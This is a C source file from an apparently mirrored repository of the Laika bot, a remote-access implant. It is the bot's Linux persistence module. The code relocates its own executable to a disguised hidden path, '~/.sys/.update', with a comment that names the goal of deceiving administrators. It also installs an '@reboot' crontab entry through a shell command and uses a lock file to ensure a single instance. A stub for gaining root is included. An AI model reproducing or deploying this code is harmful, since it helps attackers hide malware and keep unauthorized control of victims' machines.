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mirror of https://github.com/CPunch/Laika.git synced 2024-11-10 00:00:05 +00:00
Laika/bot/lin/linpersist.c

142 lines
4.0 KiB
C

/* platform specific code for achieving persistence on linux */
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/file.h>
#include <pwd.h>
#include "persist.h"
#include "lconfig.h"
#include "lsocket.h"
#include "lerror.h"
#include "lmem.h"
/* we want a semi-random file lock that is stable between similar builds,
* so we use the GIT_VERSION as our file lock :D */
#define LAIKA_LOCK_FILE "/tmp/" LAIKA_VERSION_COMMIT
/* most sysadmins probably wouldn't dare remove something named '.sys/.update' */
#define LAIKA_INSTALL_DIR_USER ".sys"
#define LAIKA_INSTALL_FILE_USER ".update"
static int laikaB_lockFile;
/* check if laika is running as super-user */
bool laikaB_checkRoot() {
return geteuid() == 0; /* user id 0 is reserved for root in 99% of the cases */
}
/* mark that laika is currently running */
void laikaB_markRunning() {
/* create lock file */
if ((laikaB_lockFile = open(LAIKA_LOCK_FILE, O_RDWR | O_CREAT, 0666)) == -1)
LAIKA_ERROR("Couldn't open file lock! Another LaikaBot is probably running.\n");
/* create lock */
if (flock(laikaB_lockFile, LOCK_EX | LOCK_NB) != 0)
LAIKA_ERROR("Failed to create file lock!\n");
LAIKA_DEBUG("file lock created!\n");
}
/* unmark that laika is currently running */
void laikaB_unmarkRunning() {
/* close lock */
if (flock(laikaB_lockFile, LOCK_UN) != 0)
LAIKA_ERROR("Failed to close file lock!\n");
close(laikaB_lockFile);
LAIKA_DEBUG("file lock removed!\n");
}
void getCurrentExe(char *outPath, int pathSz) {
int sz;
/* thanks linux :D */
if ((sz = readlink("/proc/self/exe", outPath, pathSz - 1)) == -1)
LAIKA_ERROR("Failed to grab current process executable path!\n");
outPath[sz] = '\0';
}
void getInstallPath(char *outPath, int pathSz) {
struct stat st;
const char *home;
/* try to read home from ENV, else get it from pw */
if ((home = getenv("HOME")) == NULL) {
home = getpwuid(getuid())->pw_dir;
}
/* create install directory if it doesn't exist */
snprintf(outPath, pathSz, "%s/%s", home, LAIKA_INSTALL_DIR_USER);
if (stat(outPath, &st) == -1) {
LAIKA_DEBUG("creating '%s'...\n", outPath);
mkdir(outPath, 0700);
}
snprintf(outPath, pathSz, "%s/%s/%s", home, LAIKA_INSTALL_DIR_USER, LAIKA_INSTALL_FILE_USER);
}
bool checkPersistCron(char *path) {
char buf[PATH_MAX + 128];
FILE *fp;
bool res = false;
if ((fp = popen("crontab -l", "r")) == NULL)
LAIKA_ERROR("popen('crontab') failed!");
while (fgets(buf, sizeof(buf), fp)) {
if (strstr(buf, path)) {
/* laika is installed in the crontab! */
res = true;
break;
}
}
pclose(fp);
return res;
}
void tryPersistCron(char *path) {
char cmd[PATH_MAX + 128];
/* should be 'safe enough' */
snprintf(cmd, PATH_MAX + 128, "(crontab -l ; echo \"@reboot %s\")| crontab -", path);
/* add laika to crontab */
if (system(cmd))
LAIKA_ERROR("failed to install '%s' to crontab!\n", path);
LAIKA_DEBUG("Installed '%s' to crontab!\n", path);
}
/* try to gain persistance on machine */
void laikaB_tryPersist() {
char exePath[PATH_MAX];
char installPath[PATH_MAX];
/* grab current process's executable & get the install path */
getCurrentExe(exePath, PATH_MAX);
getInstallPath(installPath, PATH_MAX);
/* move exe to install path (if it isn't there already) */
if (strncmp(exePath, installPath, strnlen(exePath, PATH_MAX)) != 0 && rename(exePath, installPath))
LAIKA_ERROR("Failed to install '%s' to '%s'!\n", exePath, installPath);
LAIKA_DEBUG("Successfully installed '%s'!\n", installPath);
LAIKA_TRY
/* enable persistence on reboot via cron */
if (!checkPersistCron(installPath))
tryPersistCron(installPath);
LAIKA_CATCH
LAIKA_DEBUG("crontab not installed or not accessible!");
LAIKA_TRYEND
}
/* try to gain root */
void laikaB_tryRoot() {
/* stubbed */
}